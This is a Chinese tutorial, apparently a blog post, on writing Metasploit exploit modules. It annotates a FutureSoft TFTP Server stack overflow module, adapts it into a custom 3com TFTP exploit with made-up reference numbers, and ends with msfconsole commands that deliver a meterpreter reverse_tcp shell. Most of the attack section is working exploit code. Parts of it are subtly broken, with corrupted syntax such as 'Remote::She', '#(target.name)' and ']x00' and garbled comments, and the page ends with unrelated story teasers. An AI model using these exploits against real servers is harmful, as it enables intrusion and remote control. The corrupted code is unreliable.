Metasploit EXP开发

EXP开发》》Metasploit 》》》 编写MSF

Ax步骤


  1. MSF 使用Ruby编写
  2. 我们以编写好的exp作为模板,使用形成的模板,起到抛砖引玉的作用。
Windows TFTP server里所有的漏洞。
1.进入/usr/share/metasploit-framework/modules/exploits/windows/tftp
2.cat(or vi or pluma) futuresoft_transfermode.rb
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
#声明该模块使用的类型是泛型类、库或者??橹屑坛惺萁峁?。
class Metasploit3 < Msf::exploit::Remote
    Rank = AverageRanking
#该??槭峭ü齍DP数据包远程实施网络攻击的??椋セ骼嘈褪荢EH覆盖
    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::She
def initialize(info = ())
    super(update_info(info,
        'Name'            => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
        'Description'    =>  %q{
                This module exploits a stack buffer overflow in the FutureSoft TFTP Server 2000 product. By sending an overly long         
        transfer-mode string, we were able to overwrite both the SEH and the saved EIP. A subsequent write-exception that will 
        occur   allows the transferring of execution to our shellcode via the overwritten SEH. This module has been tested against 
        Windows   2000 Professional and for some reason does not seem to work against Windows 2000 Server (could not trigger 
        the overflow at   all)
        },
        'Author'         => 'MC',
        'References'          =>
                [
                        ['CVE','2005-1812'],
                        ['OSVDB','16954'],
                        ['BID','13821'],
                        ['URL','http://www.security.org.sg/vuln/tftp2000-1001.html'],

                ],
              'DefaultOptions' =>
               {
                      'EXITFUNC' => 'process',
                },
              'Payload'          =>
                {
#声明了攻击字符串可分配给有效载荷使用的存储空间;
                      'Space' =>350,
#声明了需要规避的破坏性字符
                      'BadChars'  =>  "\x00",
#该字段指定了避免覆盖有效载荷而需要ESP移动的偏移量
                      'StackAdjustment' => -3500,
                },
              'Platform'          => 'win',
              'Targets'            =>
                 [
#列出所有操作系统和相关返回地址
                      ['windows 2000 Pro English ALL', {'Ret' => 0x75022ac4} ], #ws2help.dll
                      ['windows XP Pro SP0/SP1 English',{'Ret'=> 0x71aa32ad}], #ws2help.dll
                      ['windows NT SP5/SP6a English',{'Ret' =>0x776a1799}], #ws2help.dll
                      ['windows 2003 Server English', {'Ret' => 0x7ffc0638}], # PEB return
                 ],
               'Privileged'      => true,
               'DisclosureDate'      => 'May 31 2005'))

             register_options(
                [
#TFTP默认端口69
                    Opt::RPORT(69)
                ],     self.class)
#Ruby语言块end结尾
        end
        def  exploit
#调用UDP全套字的方法
             connect_udp

              print_status("Trying target #(target.name)...")

              sploit  = "\x00\x01"  +  rand_text_english(14, payload_badchars) +  "\x00"
              sploit  +=  rand_text_english(167, payload_badchars)
              seh  =   generate_seh_payload(target.ret) 
              sploit   +=  "]x00"
#定义此方法将字符串发送到目标服务器
              udp_sock.put(sploit)

              handler
              disconnect_udp
          end
end

分析好后,我们就可以编写自己的exp了

Bx_编写EXP

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
#声明该??槭褂玫睦嘈褪欠盒屠?、库或者??橹屑坛惺萁峁埂?class Metasploit3 < Msf::exploit::Remote
    Rank = AverageRanking
#该模块是通过UDP数据包远程实施网络攻击的???,攻击类型是SEH覆盖
    include Msf::Exploit::Remote::Udp
#   这个就不需要了,因为exp通过覆盖返回地址攻击,调用UDP就可以了
#    include Msf::Exploit::Remote::She
def initialize(info = ())
    super(update_info(info,
        'Name'            => '3com TFTP long Mode Buffer Overflow',
        'Description'    =>  %q{
                这个攻击??槟?,是3com TFTP ,版本是2.0.2.(假设是这样的,如果自己发现了的话就好了。。)
        },
#作者信息
        'Author'         => 'ENOMOTHEM',
        'References'          =>
                [
#漏洞编号信息,我们假设一个编号,在是更大平台的编号,以数组形式列举。
                        ['CVE','2019-0606'],
                        ['OSVDB','66666'],
                        ['BID','333333'],
                        ['URL','http://www.security.org.sg/vuln/tftp2000-1001.html'],

                ],
              'DefaultOptions' =>
               {
                      'EXITFUNC' => 'process',
                },
              'Payload'          =>
                {
#声明了攻击字符串可分配给有效载荷使用的存储空间;
                      'Space' =>473,
#声明了需要规避的破坏性字符
                      'BadChars'  =>  "\x00",
#该字段指定了避免覆盖有效载荷而需要ESP移动的偏移量
                      'StackAdjustment' => -3500,
                },
              'Platform'          => 'win',
              'Targets'            =>
                 [
#列出所有操作系统和相关返回地址,该漏洞只适用于此系统的这个版本。
                    ['windows XP Pro SP3 English ', {'Ret' => 0x7E45AE4E} ], #JMP ESI USER32.dll
#                      ['windows 2000 Pro English ALL', {'Ret' => 0x75022ac4} ], #ws2help.dll
#                      ['windows XP Pro SP0/SP1 English',{'Ret'=> 0x71aa32ad}], #ws2help.dll
#                      ['windows NT SP5/SP6a English',{'Ret' =>0x776a1799}], #ws2help.dll
#                      ['windows 2003 Server English', {'Ret' => 0x7ffc0638}], # PEB return
                 ],
               'Privileged'                     => true,
#默认情况下target为0
               'DefaultTarget'                  =>0,
               'DisclosureDate'                 => 'May 31 2005'))

             register_options(
                [
#TFTP默认端口69
                    Opt::RPORT(69)
                ],     self.class)
#Ruby语言块end结尾
        end
        def  exploit
#调用UDP全套字的方法
             connect_udp

              print_status("Trying target #(target.name)...")
#告诉TFTP服务器,即将传送一个文件,然后使用rand_text_english函数创建函数创建一个随机的6字符的文件夹名,最后是使用空字符作为文件名的结束符。
              sploit  = "\x00\x02"  +  rand_text_english(6, payload_badchars) +  "\x00"
#用户所选的有效载荷和返回地址,之外还要加上空字符
              sploit  +=  payload.encode + [target.ret].pack('V')+"\00"
#定义此方法将字符串发送到目标服务器
              udp_sock.put(sploit)

              handler
              disconnect_udp
          end
end

那么好的,大功告成,记得保存,/root/.msf5/modules/exploits/windows/tftp/Enomothemexploit.rb

Cx_使用自己的EXP

msf5> use windows/tftp/enomothemexploit
msf5   exploit(enomothemexploit)  > show options
msf5>  set RHOST <ip address>
msf5> set payload windows/meterpreter/reverse_tcp
msf5> set LHOST <ip address>
msf5> exploit
?著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,128评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,316评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事?!?“怎么了?”我有些...
    开封第一讲书人阅读 159,737评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,283评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,384评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,458评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,467评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,251评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,688评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,980评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,155评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,818评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,492评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,142评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,382评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,020评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,044评论 2 352

推荐阅读更多精彩内容